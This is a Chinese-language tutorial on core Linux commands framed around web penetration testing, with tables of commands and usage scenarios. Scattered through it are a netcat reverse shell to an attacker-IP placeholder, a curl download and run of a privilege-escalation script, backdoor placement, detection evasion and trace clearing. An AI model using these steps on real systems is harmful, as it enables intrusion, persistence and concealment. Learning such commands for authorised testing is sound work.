Web渗透必备:Linux系统与50+核心命令实战指南
在Web安全领域,70%以上的Web服务器运行在Linux系统(如Apache、Nginx、Tomcat多部署于Ubuntu、CentOS)。渗透测试中,无论是获取目标服务器权限后查看日志、定位配置文件,还是上传漏洞利用脚本、执行命令,都离不开Linux命令。本文遵循“少而精”原则,聚焦50+最常用命令(覆盖90%渗透场景),结合真实渗透场景讲解用法。
一、Linux基础认知:先搞懂“渗透中用得到的核心概念”
学习命令前,先明确Linux与Windows的核心差异,以及渗透中高频接触的系统特性——这些是理解命令用途的基础。
1.1 Linux的3个核心特点(渗透视角)
- 多用户多任务:支持同时登录多个用户(如root管理员、www-data Web服务用户),渗透中常需切换用户查看权限差异(如www-data用户能否读取数据库配置);
- 命令行优先:图形界面非必需,服务器多为“最小化安装”(仅命令行),渗透中所有操作均通过命令行完成;
- 文件系统树形结构:所有文件从根目录
/开始,无“C盘/D盘”概念,渗透高频目录需牢记:目录路径 渗透场景用途 /var/www/html主流Web根目录(Apache/Nginx默认),常放网页文件、配置文件 /var/log系统/应用日志目录(如Web访问日志 apache2/access.log、系统日志auth.log)/etc系统配置目录(如Web服务配置 httpd/httpd.conf、数据库配置mysql/my.cnf)/tmp临时目录(可写权限高,渗透中常用来上传漏洞利用脚本、存放临时文件) /home普通用户家目录(如 /home/user),可能存放用户私钥、配置文件/rootroot管理员家目录(最高权限目录,渗透提权后重点查看)
1.2 命令行基础:3个必备操作
- 命令格式:
命令 [选项] [参数](如ls -l /var/www,ls是命令,-l是选项,/var/www是参数); - 快捷键:
Tab:自动补全命令/路径(渗透中避免输错长路径,如/var/log/apache2/可输/v/l/a后按Tab补全);Ctrl+C:终止当前命令(如执行ping baidu.com后,按Ctrl+C停止);Ctrl+L:清屏(日志输出太多时用,比clear命令更快捷);
- 帮助查询:忘记命令用法时,用
命令 --help(简洁帮助)或man 命令(详细手册),如ls --help、man find。
二、模块1:文件操作与查找(渗透中70%场景会用到)
Web渗透本质是“找文件、读内容、改权限”——这部分15+命令是核心,涵盖从“定位文件”到“编辑内容”的全流程。
2.1 基础导航:3个命令搞定“去哪里、在何处”
| 命令 | 用途 | 基本语法 | 常用选项 | 渗透场景示例 |
|---|---|---|---|---|
pwd | 显示当前所在路径 | pwd | 无 | 渗透中刚获取shell,执行pwd确认当前目录(如/tmp) |
cd | 切换目录 | cd 目标路径 | cd ..(回上级)cd ~(回当前用户家目录)cd -(回上一次目录) | 1. 从/tmp切换到Web根目录:cd /var/www/html2. 回上级目录查看配置: cd /etc/httpd/conf && cd .. |
ls | 列出目录下文件/文件夹 | ls [选项] 路径 | -l(详细列表,含权限、大小)-a(显示隐藏文件,如.htaccess)-h(大小人性化,如KB/MB) | 1. 查看Web目录文件及权限:ls -l /var/www/html2. 找隐藏配置文件: ls -a /etc/nginx/ |
2.2 内容查看:5个命令“读日志、找密码”
| 命令 | 用途 | 基本语法 | 常用选项 | 渗透场景示例 |
|---|---|---|---|---|
cat | 一次性显示文件全部内容 | cat 文件名 | -n(显示行号,便于定位) | 查看Web配置文件找数据库密码:cat -n /var/www/config.php |
more | 分页显示长文件(向下翻) | more 文件名 | 空格(翻页)、q(退出) | 查看系统安全日志(内容多):more /var/log/auth.log |
less | 分页显示(可上下翻) | less 文件名 | 上下箭头(翻行)、/关键词(搜索)、q(退出) | 渗透中在Web日志找SQL注入请求:less /var/log/apache2/access.log → 输入/union select搜索 |
tail | 查看文件末尾内容 | tail 文件名 | -f(实时跟踪,日志更新时自动显示)-n 10(显示最后10行,默认10行) | 实时监控Web访问日志,看是否有自己的渗透请求:tail -f /var/log/apache2/access.log |
head | 查看文件开头内容 | head 文件名 | -n 5(显示前5行) | 查看/etc/passwd前10个用户(判断是否有异常用户):head -n 10 /etc/passwd |
2.3 文件操作:4个命令“传文件、改名字”
| 命令 | 用途 | 基本语法 | 常用选项 | 渗透场景示例 |
|---|---|---|---|---|
cp | 复制文件/文件夹 | cp 源路径 目标路径 | -r(复制文件夹,递归) | 1. 备份Web配置文件(改配置前必做):cp /etc/nginx/nginx.conf /tmp/nginx.conf.bak2. 复制漏洞利用脚本到 /tmp:cp /home/user/exploit.sh /tmp/ |
mv | 移动/重命名文件 | mv 源路径 目标路径 | 无 | 1. 重命名恶意脚本(躲避检测):mv exploit.sh test.sh2. 把上传的后门移动到Web根目录: mv /tmp/backdoor.php /var/www/html/ |
rm | 删除文件/文件夹 | rm 路径 | -f(强制删除,不提示)-r(删除文件夹,递归) | 1. 删除临时文件(清理痕迹):rm -f /tmp/test.sh2. 删除无用的Web目录(谨慎!): rm -rf /var/www/oldsite(-rf=强制删文件夹) |
touch | 创建空文件/更新文件时间 | touch 文件名 | 无 | 渗透中创建测试文件,判断目录是否可写:touch /var/www/html/test.txt(能创建说明目录有写权限) |
2.4 目录操作:2个命令“建目录、删目录”
| 命令 | 用途 | 基本语法 | 常用选项 | 渗透场景示例 |
|---|---|---|---|---|
mkdir | 创建目录 | mkdir 目录名 | -p(创建多级目录,父目录不存在时自动创建) | 渗透中创建存放工具的目录:mkdir -p /tmp/tools/exploit |
rmdir | 删除空目录 | rmdir 目录名 | 无(仅能删空目录,非空目录用rm -r) | 删除空的临时目录:rmdir /tmp/empty_dir |
2.5 高级查找:2个命令“精准定位关键文件”
渗透中最核心的命令!用于找配置文件、日志、密码文件。
| 命令 | 用途 | 基本语法 | 常用选项&参数 | 渗透场景示例 |
|---|---|---|---|---|
find | 按路径/名称/类型查找文件 | find 查找路径 选项 参数 | -name "关键词"(按名称找,支持通配符*)-type f(找文件)、-type d(找目录)-size +10M(找大于10MB的文件)-exec 命令 {} \;(找到后执行命令,{}代指找到的文件) | 1. 全系统找Web配置文件:find / -name "*.conf" -type f(*.conf匹配所有配置文件)2. 找 /var/www下含“password”的PHP文件:find /var/www -name "*.php" -type f -exec grep "password" {} \; |
grep | 按关键词搜索文件内容 | grep "关键词" 文件名/路径 | -i(忽略大小写)-n(显示行号)-v(反向匹配,排除关键词)-r(递归搜索目录下所有文件) | 1. 在Web配置中找数据库密码:grep -n "db_password" /var/www/config.php2. 递归搜索 /etc目录下含“mysql”的配置:grep -r "mysql" /etc/ |
三、模块2:用户与权限管理(渗透提权的核心)
Linux权限严格区分“读(r)、写(w)、执行(x)”,渗透中“能否修改文件、能否执行脚本、能否切换root”全靠权限命令。
3.1 权限查看:1个命令“判断文件可操作范围”
| 命令 | 用途 | 基本语法 | 输出解读(以ls -l为例) | 渗透场景示例 |
|---|---|---|---|---|
ls -l | 查看文件权限、所有者 | ls -l 路径 | 示例输出:-rwxr-xr-- 1 root www-data 1234 May 20 14:30 exploit.sh- 第1-10位:权限( rwx所有者、r-x组用户、r--其他用户)- 第3列:所有者(root) - 第4列:所属组(www-data) | 渗透中判断脚本能否执行:ls -l /tmp/exploit.sh → 若所有者权限含x(如rwx),则可执行 |
3.2 权限修改:3个命令“改权限、换所有者”
| 命令 | 用途 | 基本语法 | 常用选项/参数 | 渗透场景示例 |
|---|---|---|---|---|
chmod | 修改文件/目录权限 | 两种格式: 1. 数字法: chmod 755 路径2. 符号法: chmod +x 路径 | 数字对应权限:r=4、w=2、x=1(如7=4+2+1=rwx,5=4+1=r-x)符号法: +x加执行权、+w加写权、-r减读权 | 1. 给漏洞利用脚本加执行权(必做):chmod +x /tmp/exploit.sh 或 chmod 755 /tmp/exploit.sh2. 给Web配置文件加写权(改配置): chmod +w /etc/nginx/nginx.conf |
chown | 修改文件所有者 | chown 用户名:组名 路径 | -R(递归修改目录下所有文件) | 渗透中让www-data用户拥有脚本权限:chown www-data:www-data /var/www/exploit.sh(Web服务用户常为www-data) |
chgrp | 修改文件所属组 | chgrp 组名 路径 | -R(递归) | 把目录所属组改为www-data:chgrp -R www-data /var/www/html |
3.3 用户切换:2个命令“切换身份查权限”
| 命令 | 用途 | 基本语法 | 核心差异 | 渗透场景示例 |
|---|---|---|---|---|
su | 切换用户(完全切换环境) | su 用户名 | 不加用户名默认切root,需输入目标用户密码 | 1. 从普通用户切root:su root → 输入root密码2. 切到www-data用户(查看Web权限): su www-data |
sudo | 以其他用户身份执行命令(临时权限) | sudo 命令 | 需当前用户在sudoers配置中(如user ALL=(ALL) ALL),输入当前用户密码 | 渗透中用sudo执行高权限命令:sudo cat /etc/shadow(/etc/shadow存用户密码哈希,仅root可读,sudo临时提权) |
3.4 用户管理:4个命令“查用户、改密码”(渗透中判断账户安全性)
| 命令 | 用途 | 基本语法 | 渗透场景示例 |
|---|---|---|---|
useradd | 创建用户 | useradd 用户名 | (渗透中少用,多为查看)创建测试用户:useradd test |
userdel | 删除用户 | userdel 用户名 | 删除异常用户(清理痕迹):userdel -r test(-r连家目录一起删) |
passwd | 修改用户密码 | passwd 用户名 | 渗透中获取root后改密码(留后门):passwd root → 输入新密码 |
id | 查看当前用户身份信息 | id或id 用户名 | 渗透中确认当前权限:id → 输出uid=0(root) gid=0(root)表示root权限 |
四、模块3:进程与端口管理(渗透中“找服务、杀进程”)
Web服务器运行的Apache、Nginx、MySQL等服务,本质都是“进程”;渗透中需查看“哪些服务在运行、开放了哪些端口”,甚至终止异常进程。
4.1 进程查看:2个命令“找服务、看资源”
| 命令 | 用途 | 基本语法 | 常用选项 | 渗透场景示例 |
|---|---|---|---|---|
ps | 查看当前进程快照 | ps [选项] | -aux(查看所有用户的所有进程,最常用)-ef(查看进程父子关系) | 1. 找Web服务进程(如Nginx):`ps aux |
top | 实时查看进程资源占用 | top | 快捷键:P按CPU占用排序M按内存占用排序q退出 | 渗透中看是否有异常进程(如高CPU占用的挖矿进程):top → 观察COMMAND列是否有陌生进程 |
4.2 进程终止:2个命令“杀进程、清服务”
| 命令 | 用途 | 基本语法 | 常用选项 | 渗透场景示例 |
|---|---|---|---|---|
kill | 按进程ID(PID)杀进程 | kill [选项] PID | -9(强制终止,最常用,避免进程残留) | 1. 先查Nginx的PID:`ps aux |
killall | 按进程名杀所有进程 | killall 进程名 | -9(强制) | 批量终止所有nginx进程:killall -9 nginx(比kill更方便,无需查PID) |
4.3 端口查看:3个命令“找开放端口、关联服务”
渗透中“端口=服务入口”(如80=HTTP、443=HTTPS、3306=MySQL、22=SSH),需确认目标开放哪些端口。
| 命令 | 用途 | 基本语法 | 常用选项 | 渗透场景示例 |
|---|---|---|---|---|
netstat | 查看网络连接、端口 | netstat [选项] | -tulnp(最常用组合):-t显示TCP端口-u显示UDP端口-l显示监听端口-n显示IP/端口(不解析域名)-p显示关联进程 | 查看所有开放的监听端口及对应服务:netstat -tulnp → 可看到“0.0.0.0:80”(80端口监听所有IP)、“127.0.0.1:3306”(MySQL仅本地监听) |
ss | 替代netstat(更快) | ss [选项] | -tulnp(同netstat) | 效果同netstat,在部分系统(如CentOS 7+)中netstat需手动安装,ss默认自带:`ss -tulnp |
lsof | 查看文件/端口关联的进程 | lsof -i :端口 | -i按网络连接过滤 | 查看80端口关联的进程:lsof -i :80 → 输出中COMMAND列显示服务名(如nginx) |
五、模块4:网络操作与数据传输(渗透中“传文件、测连通”)
渗透中常需“从本地传脚本到目标服务器”“从目标下载日志/配置文件”“测试目标与其他服务器的连通性”,这部分命令是“数据流转的关键”。
5.1 连通性测试:2个命令“测网络、追路由”
| 命令 | 用途 | 基本语法 | 常用选项 | 渗透场景示例 |
|---|---|---|---|---|
ping | 测试目标IP/域名连通性 | ping 目标IP/域名 | -c 4(发送4个包后停止,默认无限发送) | 1. 测试目标服务器是否在线:ping 192.168.1.100 -c 42. 测试服务器能否访问外网(判断是否出网): ping baidu.com -c 4(能通则可尝试外连攻击机) |
traceroute | 追踪数据包传输路径 | traceroute 目标IP/域名 | 无 | (Windows对应tracert)渗透中判断目标服务器是否在局域网:traceroute 192.168.1.100 → 若路径只有1跳,说明在同一局域网 |
5.2 文件传输:4个命令“上传、下载、远程传”
渗透中最常用的文件传输方式,覆盖“本地→目标”“目标→本地”“目标→其他服务器”场景。
| 命令 | 用途 | 基本语法 | 渗透场景示例 |
|---|---|---|---|
curl | 下载文件/发送HTTP请求 | curl 选项 目标URL | -O(下载文件,保存为原文件名)-L(跟随重定向) |
wget | 下载文件(支持断点续传) | wget 目标URL | -c(断点续传,适合大文件)-O 新文件名(指定保存文件名) |
scp | 基于SSH远程传文件 | 本地→远程:scp 本地文件 用户名@远程IP:远程路径远程→本地: scp 用户名@远程IP:远程文件 本地路径 | -r(传文件夹) |
python HTTP服务 | 临时开HTTP服务传文件 | Python2:python -m SimpleHTTPServer 端口Python3: python3 -m http.server 端口 | 无(默认共享当前目录文件) |
5.3 网络配置:2个命令“看IP、改网卡”
| 命令 | 用途 | 基本语法 | 渗透场景示例 |
|---|---|---|---|
ifconfig | 查看/配置网卡信息 | ifconfig或ifconfig 网卡名 | (部分系统需安装net-tools)查看目标服务器IP:ifconfig → 找inet后的IP(如inet 192.168.1.100) |
ip | 替代ifconfig(更全面) | ip addr(查看IP)ip link(查看网卡) | 查看IP:ip addr → 效果同ifconfig,默认自带(CentOS 7+、Ubuntu 16+推荐用) |
六、模块5:系统信息与资源监控(渗透中“摸透目标服务器”)
获取目标权限后,需快速了解服务器配置(如系统版本、CPU、内存、磁盘),判断能否承载漏洞利用、是否有足够空间存放文件。
| 命令 | 用途 | 基本语法 | 渗透场景示例 |
|---|---|---|---|
uname | 查看系统内核/版本信息 | uname -a(显示所有信息,最常用) | 渗透中判断系统版本(选对应漏洞利用脚本):uname -a → 输出含“Ubuntu 20.04”“Linux 5.4.0” |
hostname | 查看主机名 | hostname | 判断服务器用途(如web-server-01可能是Web服务器):hostname |
whoami | 查看当前登录用户名 | whoami | 渗透中确认当前权限(最常用命令之一):whoami → 输出root表示最高权限,www-data表示Web服务权限 |
w | 查看当前登录用户及活动 | w | 渗透中判断是否有其他用户在线(避免冲突):w → 看USER列是否有除自己外的用户 |
last | 查看用户登录历史 | last | 渗透中找异常登录(如陌生IP登录):last → 看FROM列(登录IP)和LOGIN@(登录时间) |
df | 查看磁盘空间使用情况 | df -h(-h人性化显示,如GB/MB) | 渗透中判断磁盘是否有空间(上传文件、生成日志):df -h → 看Avail列(可用空间) |
du | 查看文件/目录大小 | du -sh 路径(-s显示总大小,-h人性化) | 渗透中看日志文件大小(是否需要清理):du -sh /var/log/apache2/ |
free | 查看内存使用情况 | free -h | 渗透中判断内存是否充足(执行内存占用高的漏洞利用脚本):free -h → 看available列(可用内存) |
uptime | 查看系统运行时间 | uptime | 渗透中判断服务器是否刚重启(可能是管理员维护):uptime → 输出up 2 days, 3 hours表示运行2天3小时 |
七、模块6:渗透专用工具命令(漏洞利用必备)
渗透中常需编译漏洞利用脚本、执行网络工具,这些命令是“从‘获取权限’到‘提权’的桥梁”。
| 命令 | 用途 | 基本语法 | 渗透场景示例 |
|---|---|---|---|
gcc | C语言编译器(编译漏洞利用脚本) | gcc 源码文件 -o 输出可执行文件 | 编译缓冲区溢出漏洞利用脚本:gcc exploit.c -o exploit → 生成exploit可执行文件 |
make | 批量编译(复杂源码) | make(需当前目录有Makefile) | 编译内核漏洞提权工具(如Dirty COW):cd /tmp/dirtycow && make |
nc | 网络工具(端口扫描、反弹shell) | 常用场景: 1. 反弹shell: nc 攻击机IP 端口 -e /bin/bash2. 监听端口: nc -lvp 端口(-l监听、-v详细、-p指定端口) | 1. 攻击机监听8888端口:nc -lvp 88882. 目标机反弹shell到攻击机: nc 攻击机IP 8888 -e /bin/bash(获取目标shell) |
nmap | 端口扫描(简单用法) | nmap 目标IP(默认扫描1000个常用端口) | 渗透前期扫描目标开放端口:nmap 192.168.1.100 → 显示“80/tcp open http”“22/tcp open ssh” |
tar | 压缩/解压文件(处理日志、工具包) | 压缩:tar -zcvf 压缩包.tar.gz 目录解压: tar -zxvf 压缩包.tar.gz | 1. 打包Web日志(下载到本地分析):tar -zcvf logs.tar.gz /var/log/apache2/2. 解压漏洞利用工具包: tar -zxvf exploit-tools.tar.gz |
八、实战场景:综合命令示例(渗透中“一套流程走下来”)
假设你已获取目标Linux服务器的www-data权限,需完成“找Web配置→看数据库密码→下载日志→上传提权脚本→执行提权”,命令流程如下:
-
确认当前权限与目录:
whoami # 输出www-data,确认权限 pwd # 假设当前在/tmp cd /var/www/html # 切换到Web根目录 -
找Web配置文件,提取数据库密码:
ls -l # 看是否有config.php、db.php等配置文件 cat config.php | grep -i "password" # 在配置文件中找密码(忽略大小写) # 假设输出:$db_pass = "MySQL@123456"; 得到数据库密码 -
查看Web访问日志,找异常请求:
tail -f /var/log/apache2/access.log # 实时看日志,确认自己的请求是否被记录 grep "union select" /var/log/apache2/access.log # 找是否有其他SQL注入请求 -
从攻击机下载提权脚本到目标:
# 攻击机先执行:python3 -m http.server 8080(共享提权脚本dirtycow.sh) curl -O http://攻击机IP:8080/dirtycow.sh # 目标机下载脚本 chmod +x dirtycow.sh # 加执行权限 ./dirtycow.sh # 执行提权脚本 -
提权后清理痕迹:
whoami # 输出root,确认提权成功 rm -f dirtycow.sh # 删除提权脚本 rm -f /var/www/html/test.txt # 删除测试文件
九、学习建议:3步掌握Linux命令(渗透视角)
-
搭建环境,边练边记:
- 用VMware/VirtualBox装Ubuntu 20.04(贴近服务器环境),不要装图形界面;
- 每天花30分钟,围绕“渗透场景”练习命令(如模拟“找配置文件→改权限→传文件”)。
-
优先记“渗透高频命令”:
- 第一优先级(每天用):
ls、cd、pwd、cat、grep、find、chmod、whoami、ps、netstat、curl、wget; - 第二优先级(提权/传文件用):
su、sudo、kill、scp、python http.server、gcc、tar。
- 第一优先级(每天用):
-
遇到问题,善用“即时查询”:
- 忘记命令选项:
命令 --help(如find --help); - 不知道怎么找文件:百度“Linux 找包含密码的配置文件”,优先看Stack Overflow、优快云的实战文章。
- 忘记命令选项:
8968

被折叠的 条评论
为什么被折叠?



